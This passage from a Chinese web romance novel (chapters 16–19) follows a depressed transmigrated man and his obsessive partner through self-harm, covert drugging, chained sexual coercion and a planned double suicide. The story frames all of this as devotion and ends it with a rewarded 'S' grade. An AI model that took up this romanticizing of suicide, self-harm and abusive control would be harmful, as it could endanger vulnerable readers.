宋清隽敛眸,没有拒绝,也没有答应。
他不想动,但认知里,他得照顾周耀。
“周耀,我想死。”
像是一潭死水,宋清隽抬眸,周耀心尖一颤,轻抿双唇,“因为我?”
“嗯。”
不止你,他好像没有可取之处。
怎么搞得全家像是仇人一样,看待他。
记忆像是潮水,随势而来。
“宋某,老爹不要你,你去跟老妈。”
迷糊不清的那张脸,说出的话,跟一把生锈了的刀一样,来回切割,剜着他的肉。
小巷子里被隔绝在光的另一侧,宋清隽觉得眼前整个世界都是昏暗的。没有人会要他,他爹不会,他妈也不会。
“我也不喜欢你。”
像是远方传来的声音,太遥远了,随风飘过来。宋清隽捏紧了双手,直接死死嵌入手心,遍体生寒。情绪爆发,发了狠,最后,一句好。
宋清隽没了家人。
成了二街的小混混。
身体落入温暖的怀抱里,外界传递而来的动静,宋清隽不耐其烦,掀开眼皮,望了望面前的人。
奇了怪,他怎么听不到了。
宋清隽直愣愣看着双唇一直在动的人,眼神有些呆滞。
宋清隽想,完蛋了。
聋了。
又想。
好事一桩,天地间只有我一个人啦。
周耀看着宋清隽一会难受,难受到眉心蹙起,眼里满是忧伤。又看着宋清隽高兴,高兴到眉头一松,眼神里满是满足。
偷着欢乐。
周耀害怕了。
浑身僵硬着,“……你别吓我。”
又听到了,宋清隽迷茫,他怎么就吓人了?
宋清隽弯唇笑着,安慰起来,“周耀,我没有吓你啊。”
很温暖,宋清隽想要抓住。
伸手,搂腰,眯眼笑,宋清隽将头埋进了周耀的小腹里。
好像,也只有这个狗,爱着他了?
宋清隽的动作让周耀一顿,似乎,宋清隽这样才是他想要的样子。
依赖他,只有他。
可,倘若,是建立在一定的疾病之上……
周耀动摇了。
经年的思念,不再只有爱和喜欢。
还有执念。
如影子,一直纠缠。
周耀微微勾唇,受伤的双脚因为长久的支撑,疼痛过去已经开始发麻。
然而,周耀依旧不在意。
他弯腰,低头,一个吻落在了宋清隽的头上。
找医生的事,推迟一点。
不打紧。
16. 第 16 章
十二点钟声响起,宋清隽睁开双眼。一双眼睛,在黑暗里异常的明亮。他要离开,想要离开。
【系统,情感继续导入,麻烦你提醒我,周耀和许越清结婚这件事,尤其是等我和昨晚的状态差不多。】
系统难得沉默了,【不行,你的反应比我预期的还要严重。】
这是系统第一次直观意识原生家庭对一个人的影响。
【无所谓,看着我别让我在苟活时间内真死就行。】
被窝里,不知道周耀梦见什么了,突然一个大动作,一只手揽住了宋清隽,然后开始不断往自己怀里塞。
而这一个动作,宋清隽的情绪差点没有绷住。
黑暗里,宋清隽轻叹。
【如果可以的话,任务完成后,我可以以自己身份活在这个世界里吗?或者】
宋清隽得承认傍晚时分的那一个拥抱,是他想要的。
一直想要的。
【或者,让周耀跟着我回家也行。】
系统知道他这个还没有培养起来的宿主,是彻底沦陷了。
不计后果。
【让他杀了你,背上因果,我能让他跟着你走。】
系统的声音极致冷漠,而这几乎是不可能,周耀比宋清隽好不到哪里去,他可是执念入骨。
否则,世界不会坍塌过一次。
坍塌那一次,周耀杀了宋清隽。
书里的宋清隽。
以及,和宋清隽即将步入婚姻的爱人。
宋清隽用自己所有现世里的财富,换得和爱人离开。而,他的宿主,正在用所有的苦难,换得一个生的可能。
【麻烦你了。】
—
宋清隽很笨,二混混的脑子,还不用说,如今时不时的情绪大爆发一次,因此,他没有想出来什么好办法。
唯一的一个办法。
他要推开周耀。
周耀伤好那一天,宋清隽与早早联系过的明岸碰面,然后,宋清隽毫不犹豫的离开了。
OOC程度,宋清隽已经放弃了。
他想走完剧情。
周耀和许越清结婚。
宋清隽觉得自己低劣至极,他找到了许越清。
用自己手里所有的钱财,买一个和周耀分开的结果。
“许先生,钱都在这张卡里。”
宋清隽将自己所有的钱都变现了。
他早早没了父母,但生活从没有苦过。用着父母的钱,活过了十八,然后开始自己赚钱。
哦,对。
这不是宋清隽的钱。
这是,原主的钱。
宋清隽的动作一顿,收回去的手慢了半拍。鸠占鹊巢的痛苦,几乎要将他压塌。
但,他放不开周耀就是了。
“我知道你缺一大笔钱,这里面的钱足够你去还债,足够你摆脱所有亲戚。”
“要求。”
“一年后的今天,和周耀结婚,走入婚姻殿堂。”
许越清看不透,他以为是让他主动离开,怎么,让他和周耀结婚?
“你知道的,周耀不喜欢我。”
宋清隽点头,“我知道,只是结个婚。”
炸裂发言,搁在三观正的身上,不是说的人觉得奇葩,听的人也会觉得脑袋有病。
可惜了。
两人都不是什么三观正的人。
想活着,想为自己活着。
“行,还有要求吗?”
“结过婚之后,我们的交易结束。”
宋清隽在赌,赌感情。
赌周耀的偏执。
—
逃出去第五天,周耀踏着被暴力轰开的门,不紧不慢地走进了屋子里。
随着他的出现,后面是脸带歉意的明岸。
宋清隽一看,就知道,周耀是来接他的。
“先等一等让我收拾一下。”
说着,宋清隽就要起身,然而,还没有走几步,宋清隽就被堵在了沙发上。
周耀居高临下,眼神里的神情,让宋清隽分辨不清,此刻,对方究竟是生气多一点,还是……算了,东西不要了。
宋清隽抬手,握住周耀的手,声音平稳,“走吧,我们回家。”
周耀最后什么都没说,由着宋清隽拉着他离开。
等到所有人离开之后,明岸才开始叫人来收拾。他坐在沙发上,怎么也想不明白,宋清隽怎么就让周耀发现了呢?
明明,他已经抹去所有痕迹了啊?
明岸想不明白,起身去宋清隽住的房间,他准备把宋清隽吃的药拍个照发给周耀。
毕竟,周耀疯狂嘞。
怕是回家就要囚清隽了。
明岸推开门,里面十分整洁,被子叠着,没有一丝凌乱,只有床头柜摆放着一个盒子,看起来不像是人住过……
我靠!
明岸意识到什么。
他娘嘞,是宋清隽这小没良心出卖了自己。
明岸一时间被气笑了,倒是没有多少恼怒,只是觉得宋清隽也没道义了,竟然一气不吭的。
明岸心里骂了几句,还是走了过去。他拿起盒子,打开了盒子。
入眼的首先是卡。
卡下面有一张纸,上面写着宋清隽道歉的话。
明岸看了后,心情好多了。将卡和道歉的纸条放在了一边,然翻找起宋清隽吃的药,结果,没有找到。
一大堆的感冒发烧药。
明岸只觉得不对劲,起身开始翻找起来。
然而,一无所获。
只有一本笔记本。
笔记本里记的所有,是宋清隽一天干下来的事。
除此之外,还有一页都是周耀名字。
明岸觉得,宋清隽恋爱脑了。
最后,他将药拿出来,把纸条和卡,以及笔记本都放了进去。
想着,找个时间还回去。
—
笔记本没还回去。
周耀将公司托管出去,带着宋清隽开始环球旅行了。
分别的那一日,是一个晴朗的天气。
天空万里无云,太阳照的人暖洋洋的。
原来距离他回来已经三个月了啊。
明岸想,冬天来了。
那么他的事也要提上行程了。
目送着宋清隽离开,明岸转身离开了机场。
最近,宋清隽有点嗜睡。
周耀知道,宋清隽生病了。
精神上。
掺杂点控制的药物,周耀喊醒了睡着的宋清隽,将水递给了他。
“喝点,再睡。”
“好。”
宋清隽接过水,直接一饮而尽。
“真乖。”
周耀将空了的被子放在一边,弯腰亲上宋清隽的嘴。宋清隽侧了侧,吻落在了嘴角。
宋清隽心知有药,这种药少摄入比较好,尤其对正常人,“别亲,我感觉我可能要感冒了。”
周耀沉默,只亲了唇。
—
晚上十分,宋清隽发烧了。
四十度。
迷糊之中,宋清隽做了一个梦。
梦到了,他又回到了那个小巷子里。
他再一次出手救了那个小男孩。
然后,在他的注视下,小男孩变成了周耀。
“周耀……”
宋清隽呢喃,周耀搅拌药物的手一顿,而后端起药水,含了一口,弯腰渡给了昏迷中的人。
感受到熟悉的气息,宋清隽安静了许多。
梦境变了,只有一片汪洋的海洋。
一望无际的蓝。
凌晨五点,烧退了。
周耀才松了一口气,为宋清隽擦完身体,他洗了一个澡,躺在了宋清隽身边。
—
宋清隽离开的一个月,除夕夜当晚。
明岸收到了一大堆的明信片。
他看完,抬眸,花园小径跪着的人,身影晃了晃。
明岸嘴角嗜着嘲讽意味的笑,肩膀上的咬痕隐隐发痛。
不乖的人,总要惩罚。
“明岸,过分了啊,赶紧让安安回来。”
母亲常年体弱,尤其是生下他之后,年纪不大的她迅速衰老。而外面跪着的,是他老爹在外面搞出来的私生子。
与他相差,一岁。
“妈,该喝药。”
明岸将明信片放回去,递给一边的仆人,让人放回屋子,而他则是起身去推母亲。
“幺,许
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安这孩子也是命苦,你别老为难他,他”
“妈,哪有啊,我可没让他一直跪。”
明岸直接打断,“妈,清隽给我寄了国外的水果,在厨房,等会吃完药你尝尝。”
“幺”
还想说的话,全都被明岸堵了回去。
至此,明岸彻底和许安的过去错开。
小径。
许安抿了抿发干的嘴唇,身体上的冷,让他想就此蜷缩在一起。
然而,不行的。
他爸的公司得有人救。
即使不是亲爸。
他也得来找出手之人。
—
宋清隽得知明岸发了疯的找人,是在约定期限的最后一天。
他为周耀擦去眼角的泪,默不吭声,趴在对方的脖子处。
周耀意识有点涣散,宋清隽做得有点狠。
一时间,经受不住。
在意识要昏迷过去,他听见了宋清隽说的话。
“回家,明岸出事了。”
翌日,周耀醒来时,东西宋清隽已经收拾好了。
周耀看着宋清隽,也不说话,只是看着他。
最后,周耀赤身下床,去了浴室。
已经清理过了,周耀只冲了澡。
换好衣服,两人出发回家。
—
一天半的飞机,超了约定时间。两人刚落地,分别被一通电话喊走了。
周耀对于百八十年不来一次的电话,内心是有些抗拒的。但电话对面,老人的声音不断催促着他,无奈,周耀只能和宋清隽分开。
“晚上记得回家。”
家?
宋清隽心知周耀离开这一趟意味着什么,他弯眸,扯过周耀,吻了上去。
真想把他融入骨里啊。
宋清隽有些好笑,真是和疯子待久了,自己也要疯了。
“注意安全。”
没有承诺,因此,可以肆无忌惮失约。
—
晚上十二点整。
明岸又一杯酒下肚,掩着面,停下了诉说。
宋清隽把玩着被子,琉璃彩色的灯光下,他的眸子忽明忽暗,背靠着卡座,双腿交叠,身上的痞气一览无余。
“所以,你给我打电话,是想让我帮你找他?”
酒精上头,也麻痹不了明岸。
他抬头,眼神犀利,说出的话宋清隽都觉得无理取闹。
“他应该和我纠缠一辈子的。”
“你这话挺没道理的,他是人,不是你的附属品。”,宋清隽摇头,“况且,你不就是为了报复他吗?现在人生死不明,不是挺好的。”
“不好。”
明岸摇头,一点都不好。
“唯有痴情者不可负。”宋清隽幽幽说道,“你说他喜欢你,但是,不是你斩断的吗?”
许安送过明岸一枚平安扣。
许家每一个人都有礼物,但只有明岸的是代表着平安的。
那天晚上,许安提出了离开。
结果可想而知。
很惨。
高烧一天。
“明岸,你喜欢他吗?”
“你想要和他共度一生吗?”
“你会对他好嘛?”
“或者说,是你的不甘心,是你的占有欲作祟了,你想要的不是他,是一种精神的满足?”
明岸抬眸,有些迷茫,“有什么不一样吗?”
“有。”
前者是喜欢。
是爱。
后者是恨。
是习以为常。
就像一直等待你的流浪猫,它其实不是属于你的,但当它不再跑向你,而是其他好心人的时候,你所产生的生气。
只是一种占有欲。
一种习以为常。
你不带它回家,你不付出感情。
就不要期盼它一直属于你,就不要期盼在爱你和被别人爱时,做出爱你的选择。
“明岸,喜欢、爱皆是不由自主对他好。”
“清隽,你喜欢周耀吗?”
明岸突然想起来那满满一张周耀名字的纸。
“我不知道。”
医者不自医。
深陷者迷又迷。
17. 第 17 章
宋清隽没有回家。
周耀坐在床边,等了一夜。
第二日被发现的时候,周耀已经陷入昏迷之中。
伤口发炎致使高烧,送入了急诊室。
系统说的时候,宋清隽正在刷牙。他的动作一顿,而后面无表情吐出一口泡沫。
【剧情进度百分之九十,OOC程度百分之五十六。】
【结婚了?】
【没有,但是已经放出消息了。】
【嗯。】
嗯之后,没有下文了。
系统叹了一口气,只期盼着别有什么意外,顺顺利利先完成任务,能让它积蓄起力量,足矣把宋清隽送回去。
然而,墨菲定律总是出现很恰当好处。
宋清隽犯病了。
小刀划胳膊的时候,刚好,天边的最后一抹彩霞消失。宋清隽躺在浴室里,看着浴室里的光暗了下来,眼神里孤寂弥漫。
寂静无比的浴室里,只有手机还在响着。
那是对许越清的采访。
“请问许先生,你们何时举办婚礼?”
“许先生,你和周先生是怎么认识的?”
“许先生,听说,你们很久之前就在一起了……”
在一众嘈杂的声音里,许越清的却声音十分的清晰。
“一周后的今天,婚礼,当天会直播。”
【苟活时间:二年十一个月零四天,还有二十七天。剧情进度,剧情进度百分之九十三,OOC程度百分之四十。】
【宿主,活下来。】
宋清隽眨眼,将系统说的东西拼拼凑凑,费力的理解一番,点了点头,“死不了的,只是会失血而已。”
他没有想死。
只是,魔怔了。
—
婚礼真的是全网直播,宋清隽坐在客厅,电视里播放着这一场浩大的婚礼。明岸因为不放心,今天并没有去工作室。
“这电视非得看不可吗?”
明岸觉得宋清隽没有骨气,“昨天我问过你,你说你不想要周耀了。”
不然,这场婚礼不会这么顺。
“嗯。”
纤细的身影窝在沙发里,宋清隽的脸底乌青一片,听着明岸唠叨,他困倦地打了一个哈欠,对于明岸说的,他不为所动,倒是提起了另一个人。
“许安说,他会回来的。”
一键暂停键,明岸眼神闪烁。
醉酒那一次,他都记得。
宋清隽的话,他也想了。
思索后,明岸觉得,十分有道理。
然后,他选择放弃寻找了。
他们之间,总归有着别人没有的东西。
而这个东西,
会一直牵绊着他们彼此。
宋清隽打了一个呵欠后,眼神迷离起来,他看着电视里的周耀,罕见的笑了笑,心想,周狗瘦了啊。
又想,这罪不是他一个人遭受就好,总归,能让宋清隽有点安慰。
等到时候,回去了啊,他就能心安理得打工养周狗。
宋清隽就这样想着,又睡了过去。
明岸再喊的时候,已经没有人回应了。
明岸有些忧心,宋清隽说的助眠药,到底是什么?
—
婚礼结束,两人纷纷换了衣服。
许越清将周耀给他的卡放在了桌子上,表明了自己的意思。
他要离开,出国。
周耀没有接卡,只是问了一句,“宋清隽是这场婚礼的策划者?”
“是的。”
他和宋清隽之间没有保密协议,“宋清隽,他不讨厌你。”
喜不喜欢,许越清就不知道了。
“我们合约早就结束了,但是,因为你的原因,我遭受的破事也挺多的,所以,按照你给的价格,我从卡里拿走了一万。”
许越清算得门清,该是他的一分不少,“你爷爷的那里,我会去说。”
他外公定下来的东西,按理说应该是他外公去。然而,外公已经去世了,母亲也不在,许越清就只能自己登门了。
周耀听不清对方说什么,满脑子都是宋清隽。
在许越清还在交代细节的时候,周耀起身,拿着车钥匙驱车驶入黑夜里。
周耀在赌,宋清隽依旧在上一次的公寓里。
三楼的公寓,周耀从来都没有觉得自己拥有眼睛是一件这么恶心的事。
落地窗前,交叉在一起的双手,交握在一起,像是纠缠在一起的藤蔓。
周耀不是白痴,他知道,屋里的人正在干什么。
白皙的手腕上,一抹红色,是周耀亲手系上去的平安绳。
灯光暗了下去,就如同周耀心里那点期待彻底破灭了。
周耀弯腰下意识想要吐,然而,他今天只喝了一杯水。还是,他爷爷递来的水。
宋清隽他不爱他。
不是。
是宋清隽不喜欢。
宋清隽只是把他当做了一个玩物而已。
如此来作践他的尊严而已。
吐到最后,只有酸水。
周耀擦了擦嘴,墨色的眼眸似浓稠的夜,所有的情绪都被压在里面。
他抬脚,往公寓里走去。
忽而,天空炸雷响彻天地。紧接着,暴雨骤降,“哗啦哗啦——”的声音充斥在这个黑夜里。
周耀像是鬼魂一样游荡到公寓的门口,他机械地敲了敲门,半晌,传来开门的动静。
周耀没有动,等到门被彻底打开后。
他一只脚跨了进去。
然后,在宋清隽错愕的眼神里走了进去。
周耀看着面前穿着浴袍的人,痴痴一笑,几步上前,拉着宋清隽的手,就往浴室走去。
周耀忍着,所有的愤怒都发泄在了手上,不加收敛的力气,像是要将宋清隽的手腕骨捏碎。
发痛的手腕,宋清隽难得平静了下来。
他沉默不语。
就这样,宋清隽被甩进了浴室。
“你自己洗,还是我来。”
宋清隽还没有说话,衣服直接被人扯开。
“不说话,那就我来吧。”
衣服之下,全都是痕迹。
宋清隽摁住衣服,不让周耀撕扯。
“清清啊,你总是这样子,让我想要把你杀了。”
周耀呢喃着,声音缱绻,像是小情侣的蜜语。
“好啊,你杀了我,然后给我陪葬吧。”
宋清隽的眸子明亮,锁骨处的红痕,看着扎眼极了。
【宿主,苟活时间还有二十天。】
宋清隽眼光微闪,他扯着自己的衣领,往后退了一步。周耀下意识松手,怕勒得宋清隽不舒服。
因此,宋清隽得以将衣服穿好。
周耀的眼光闪烁着,整个人因为宋清隽的回答,异常的兴奋。
然而,接下来的话,像是一盆冷水,将周耀从头淋了个尾。
“周耀,我的离开你还看不出来我的意思吗?”
“我怕死,所以
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,和你在一起的每一天都是虚与委蛇。”
“你也结婚了,别纠缠着我了,不然,许先生会多想的。”
“周耀,咱俩以后没事就别联系了。”
“你喜欢的人回来了?”
宋清隽离开的第一个月,传回国内的消息,包含着宋清隽被当众表白,甚至与一华裔在一起。
“没有。”
宋清隽矢口否认,“只有不爱,没有其他。”
“是吗?”
周耀伸手,骨骼分明的手勾了一下控水开关,顿时,头顶上浇下来温热的水。
“你脏了。”
随着周耀的一声呢喃,宋清隽被强制的扒开了衣服。
—
再次醒来的时候,宋清隽才意识,自己又着道了,又被下药了唉。随即,他下意识抬起左手,叮当当的声响,是熟悉的朋友。
宋清隽叹了一口气,开口想要说话,然而,嘴上被堵住了。
!!!
我一靠,边台。
“清清醒了啊?”
周耀手里拿着湿巾,他上前,体贴的为宋清隽擦了擦。
等会!
不对!
我一靠,满屋子的镜子!!!
宋清隽下意识缩了缩头,周耀轻笑一声,十八禁的话脱口而出,“你的**脏了,怎么办呢?清清怎么可以那么不乖,怎么可以去碰外面的脏**,没关系的,我帮你擦一擦。”
我靠我靠我靠!
宋清隽欲哭无泪。
喊不出声,双手被禁锢着,能动的腿动不了。
宋清隽就是砧板上待宰的鱼。
带着冷意的指尖,上下触碰,宋清隽控制不住起了情欲。他的眼尾染红,嘴角涎水直流。
“嗯,唔。”
四周都是镜子,宋清隽全身憋的通红。
“很美,清清,你是我见过最美的人。”
带着笑意,周耀不断靠近。
—
【苟活任务倒计时:第五天。】
系统声音再次响起来的时候,宋清隽全身没有一处好的。
尤其是左胳膊。
那里是一大片的纹身。
怒放的鲜花,栩栩如生。
【你的疤被看到了?】
回应系统的只有沉默。
宋清隽眼神呆滞,他有时候,会止不住的想,要么就这样放弃吧。
他也不活了。
任务也不用做了。
系统叹了一口气,默默翻了翻自己包里的创伤膏,【药效很快,宿主,再坚持一下。】
宋清隽没有说话。
—
药效确实很快,身上的创伤好了七七八八。晚上的时候,宋清隽发烧了。
高烧四十度。
周耀满脸的担忧,桃花眼的眸子里,都是对宋清隽难以掩饰的心疼。
“清清,你说你,昨晚让你别动,怎么就是不听呢?”
落地窗,周耀似乎对落地窗有了什么执念。
他们的大部分时间,都是在落地窗前。
宋清隽阖眼不想说话。
没关系的,周耀已经不在意了。
他解开锁链,弯腰抱起宋清隽,往卧室走去。
宋清隽没有挣扎。
因为,整个别墅他都逃不出去的。
这里,已经不是他们的家了。
只是一个场所。
一个充满着色,欲的场所。
只有他俩的一方天地。
18. 第 18 章
烧来得快,去得也快。
周耀轻抚着睡梦里中的人,动作温柔,眼里都是宋清隽,柔和的眼神像是要把人溺死。
“清清,我知道你不想活了,没关系,我会陪着你的。”
朝夕相处里,周耀早就知道宋清隽有着很严重的抑郁症。
宋清隽太能跑了,只有四四方方的盒子能锁住他。
走到如今这个地步,对于周耀来说,最好的结果就是死在一起。
如此。
他将和宋清隽永远在一起。
“周耀,如果,我是说如果我不是你喜欢的宋清隽,如果我们在另外一个世界相遇了,你依旧会如此吗?”
声音很轻,话语几乎要消散在空气里。
周耀跟着宋清隽说的话设想了一下,如果宋清隽说着都是真的。
他想,他会。
“你怎么总是想着逃离我呢?”
回答周耀的只有无尽的沉默。
不过,没关系的。
周耀会把自己哄好的。
—
距离苟活结束还有三天。
明岸找到了宋清隽。
天又冷了,明岸总觉得这一年的冬天比上一年的还要冷。“呼呼”而过的冬风,像是刀子一样刮脸。
卷起的落叶落在了明岸的脚边,他心里默默地计时。
半个小时,如果别墅没有人来开门的话,他就会报警。
即使,是违背宋清隽的意愿。
当初宋清隽离开之前,留下了一封信。信里只有一句话,他和周耀离开了。
除此之外,什么都没有留……不对,还没吃完的药。
或许是当时宋清隽走得太匆忙了,又或许,他根本没有机会收拾,所以,药被遗留在了屋子里。
寻找宋清隽这段时间,明岸去医院检验了装在维生素盒子里的药。
安非他酮……
全都是抗抑郁,缓解焦虑的药。
在他不知道的情况下,自小一起长大的好友得了重病。
想到这里,明岸眸色深了深。
半个小时了。
明岸打开手机,拨打了报警电话,踏着落叶,明岸走到了别墅门口。
从外往里看去,遍地的落叶,看着十分萧瑟,空无一人。
明岸摁下了门铃。
屋里,宋清隽正在被周耀喂饭。周耀递过来一勺,宋清隽吃一口。如此往来,很快,碗见了底。
周耀笑意深了深,他放下碗,扯出一边的纸,细致为宋清隽擦了擦嘴,然后凑过去亲了亲对方,轻声低语,“先休息一下,我去处理一些事。”
周耀起身,意外的,宋清隽伸手拉住了他。
“让他进来吧,我不走的。”
这是这几天宋清隽第一次开口说话,那一晚的问题之后,宋清隽像是突然丧失了语言功能,不曾说过半句话。
周耀心里油然而生的嫉妒,对别墅外的人。
“清清,我们之间已经没有信任可言了。”
宋清隽怎么能被旁人接触呢?
在这独属于他们俩的一方天地,谁都不能踏足。
所以,周耀扯谎回拒。
“我们明天一起去买墓地。”
宋清隽仰头,眼神里浮现出一抹希冀。大抵是进来病痛的折磨,平日里合身的衣服,如今像是大了一码,挂在他的身上。
周耀垂眸,宋清隽此刻的神情,让他沦陷。
有一种,他是对方整个世界的感觉。
“好啊。”
宋清隽的手紧了紧,周耀察觉到,他有意识的摩挲了一下对方的手背,逐字逐句缓慢说道:“用什么来交换呢?”
含笑的桃花眼,嘴角勾起,满含深意的眸子,就这么一瞬不瞬地看着宋清隽。
像是等待猎物上勾。
“我答应你昨天晚上的要求。”
周耀噗嗤一声,笑出了声。
宋清隽因为自己说的话,脸迅速通红一片,羞赧地躲开周耀的眼神。
那赤裸的眼神,像是触动了他的敏感的神经。
有种想要钻进缝里的焦灼感,坐立难安。
“那么,先付一点利息吧。”
好欺负,自然是要多欺负。
—
明岸在警察来之前,成功的进去了。
他随着周耀来到了客厅。
说是客厅,其实很像是后花园。半开放式的客厅和后花园打通着,透明的玻璃门隔开两个空间,一家钢琴在花草之间,距离钢琴一侧,有人工建成的摇篮,而摇篮的一侧,都是零食。
完全是按照宋清隽喜好建造的。
此刻,宋清隽坐在钢琴前。他拧眉看着放在钢琴上的手指,像是一座雕塑一样不动。
明岸没有出声,下意识停下脚步。
而周耀则是走了过去,手搭在了宋清隽的肩膀上,柔声询问,“又忘记了?”
忘记是常有的事,这是药物的副作用。
不仅如此,宋清隽的反应也更加缓慢了。
他时常会坐在沙发上,躺在床上,顶着虚空,一发呆就是一天。
什么也不想,什么也不念。
就这么一天。
周耀第一次发现这个情况时,伸出去喊人的手明显的一颤,他承认,他心疼了。
甚至于那几天,他曾想要放弃和宋清隽纠缠。
但……宋清隽太乖了。
真的太乖了。
任由他摆布,不会跑,不会反抗。
周耀第一次觉得,原来他们之间也可以你情我愿。
“阿耀。”
半天,宋清隽侧头,看到熟悉的面孔,他脱口而出的一句亲昵称呼。
“有人来看你了。”
周耀弯腰亲了亲宋清隽的脸颊,而后,侧了侧身子,让宋清隽看到了周耀身后的人。
“明岸?”
宋清隽有些疑惑,“怎么来找我了?”
宋清隽知道明岸的到来,甚至连明岸报警他都知道。
系统一直帮他监控着。
“很久不见你,想你了。”
宋清隽蹙眉,有些嫌弃,“许安还没回来吗?”
明岸摇头,许安很早就回来了。而他以为的追妻火葬场,因为许安心软,并没有追很久。而在说开的那天第二日,他领着人去了老父亲那里,坦白了一切。
他将所有的,普通恋人应该有的,都给了许安。
“我不是因为许安,是你。”
宋清隽摆了摆手,有些嫌弃,“别乱说话,我挺好的,能吃能喝的。”
“你走的时候,东西没拿。”
宋清隽一瞬间的僵硬,对哦,上一次走之前没有收拾东西。意识到后,他心里一瞬间的慌乱,随后笑着打起哈哈,“我俩走得急,忘记了。”
话里话外的意思,明岸就算不想懂,就从宋清隽维护的架势上看,这场“游戏”走到底,也逃不过你情我愿。
“我们一周后订婚,你要来吗?”
言外之意,一周后,宋清隽可以出这栋别墅吗?
宋清隽摇头,扬唇,“礼物会到的。”
“非他不可?”
明岸窝火,怎么就是个顶级恋爱脑呢?
一边从头到尾没说过话的周耀,像是空气一般。但却在这一个问题一出之后,眼神闪了闪,手指下意识蜷缩在一起。
心里竟生出了无声的期待。
“天要黑了。”
冬季,天短。周耀喂玩饭的时候,已经日薄西山了,如今,是彻底暗了下来。
宋清隽在赶人。
“订婚记得来,不然我会登寻人启事。”
明岸扫了一眼周耀,转身离开。
报假警,得去警局喝茶了。
明岸边走边拨出许安的电话,简言意骇讲了讲情况,希望对方能在下班之后,来捞捞他。
许安气笑了,还让他安心工作。
我滴老大爷,人才。。。。
叨叨最后,许安对电话另一边骂了一通,然后关电脑起身准备下班。
去捞人!
—
墓地买了,在郊区。
就墓地这个问题,宋清隽像是来了兴趣,难得和周耀争论了半天。
最后选择的是半山腰向阳。
半山腰没有山顶的大风,暴雨,虽看不到整个的山谷景色,但是仰看天空,俯看山谷。在阳光出现时,天地只有天地。
用二混混宋清隽的话
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,巴适。
合眼缘。
最后,周耀同意了。
但,交换条件,只能买一个。
宋清隽同意了,周耀打得什么鬼主意,他还是知道的,不就是死后同眠嘛。
准了。
—
苟活最后一天。
宋清隽起了一个大早。
在宋清隽动的时候,周耀其实就已经醒了。但是,鬼迷差使下,他没有动,而是选择装睡。
大概半个小时,周耀坐了起来。
宋清隽离开太久了。
这已经是他等的极限了。
因此,穿好衣服的周耀,离开房间,下楼找人。
最后,是在厨房找到的。
宋清隽在做饭。
为他做早餐。
周耀怔愣,站在原地,神魂像是被抽离一样,直到宋清隽做好煎蛋回身时,措不及防看到周耀,他才回过神来。
“醒了?”
周耀点头,走了过去。
“去洗漱吧,这里我来。”
周耀没有应,只是看着宋清隽,一瞬不瞬。
“别愣了,快去吧。”
“好。”
再三尝试张嘴,周耀声音哑哑的,像是生病一般。
“生病了吗?”
“没有。”
周耀摇头,桃花眼的眸子,水光涟涟,他走之前,看了看盘子里的煎蛋。
脆黄翠黄,真的很不错。
周耀洗漱很快,下来的时候,宋清隽已经做完了。
宋清隽坐在餐桌边,朝周耀招了招手。
早餐只有一份,宋清隽喝了一杯热水,看着周耀将自己做的饭吃完了。
等到最后一口,进入嘴里,宋清隽开口了。
“周耀,我是宋清隽,别认错我了。”
没头没尾的一句话,因为是宋清隽,周耀很是认真的回复了。
“不会忘记你。”
已经刻进骨子里了。
宋清隽没有说话,只想着。
别说,做给我看。
—
上午,宋清隽说要带周耀去见父母。
两人买了小雏菊,开着车去了墓地。
然后,当着两位已逝长者的面,宋清隽介绍了周耀。
——我的伴侣,周耀。
—
中午,两人去了市中心,给明岸选礼物。
宋清隽手里没钱了,他的钱大部分给了许越清,另外一部分变现给了明岸。
就是之前留给明岸的那一张卡。
里面算是他最后的家当了。
挑选了一个性价比高的礼物,付款是周耀来的。
宋清隽像是突发兴趣,问了一嘴,“你的钱,那么多的钱,怎么处理了呢?”
一起去死,好像成为了他们不喧之于口的秘密。
“给儿童基金会。”
“嗯,可以积福,不错。”
周耀弯眸,没有再说什么。
确实可以积福,所以他留的名字是宋清隽。
—
下午,宋清隽问了周耀去哪里。
周耀回答家里。
宋清隽觉得闷,没有同意。
然后,他带着周耀来了游乐园。
周耀不明白,只以为宋清隽被关久了,太闷了,想要疯玩。
但,不是的。
当摩天轮升到最高,天空中炸起烟花。
宋清隽喊了一声老婆。
随后,周耀撞入了盛满漫天星辰的眼睛里,无端的,周耀想,他的桃花眼其实并不多情,比起宋清隽的逊色太多了。
一声又一声的烟花声里。
周耀听不清宋清隽的低语,但是,通过嘴型,他看出来了。
那是一句
——我爱你。
【滴滴滴,任物OOC已经达到百分之bbb……四十。】,系统播报的声音卡出了滋啦声,人物OOC程度来回在四十和一百横跳,最后系统直接漠视一百,播报四十。
周耀眼光闪烁,嘴角上扬,所有不对劲的,隐藏在浓雾之后,厚云之中的,像是拨云见雾,他窥见了真相。
他爱宋清隽。
爱的是宋清隽。
19. 第 19 章
苟活最后一分钟,别墅,昏暗的卧室里。
宋清隽握紧了手里的匕首,在沉默里,他左手牵过周耀的手,覆在自己的手上。
手有些微微的颤抖,宋清隽想,周耀或许在害怕。
“别抖,也别骗我。”
“清清。”
你真的要和我一起死吗?
宋清隽咧嘴笑,小虎牙露出尖尖。
周耀的心一颤。
墙上的钟摆滴滴答答,在分针走到数字十二的时,钟摆按照设定的程序响了三下。
随后,寂静之中,传出“噗呲”一声之后,再次回归的安静。
手背上的手滑落。
如同黑夜里坠落的眼泪。
周耀抬手,想要触摸宋清隽的脸颊,却看到了不知何时被染红的双手。
太红了,以至于,周耀觉得天地变了颜色。
那颜色,如同二月枫叶染尽遍山般。
手有些湿润,周耀在自己身上蹭了又蹭,才抬手将宋清隽抱入怀里。
很安静,周耀知道,宋清隽再也不会跑了。
只是,他似乎再也暖不热宋清隽的双手了。
一个小时后,周耀将宋清隽的身体清理了一番,给他换上了最喜欢的衣服。然后,自己将身上的污渍洗干净,给之前的助理发了短信,麻烦对方收个尸体。
安排好一切,他躺在了宋清隽的身边。
慢慢的,房间里最后的呼吸声也消失了。
又一阵冷风吹过,天地间,飘下稀碎如纸屑的雪。不出一会,天地万物裹上一层白色的糖霜。
万物静籁,在初雪夜里,两个人死在了别墅里。
他们的手指上戴着银色的戒指,法医说,左侧心脏破裂的男人,是自杀,匕首上只有他的指纹。
而右边毒药发作的男子,身体里有两种毒性 ,经过对体内药物检测,查询到其中一种的来源,是他自己购买的。
两人皆为自杀。
三天后。
半山腰的墓地里,迎来了一个方方正正的盒子。
住着两个人。
—
【宿主任务完成,剧情进度百分之百,OOC程度百分之十,综合评价S,奖励回溯时间。】
【回溯时间坐标点,高三。】
【现在开始回溯。】
【祝宿主好运,经此顺遂一生。】
—
视线内白光一闪,宋清隽出现在了大街上。
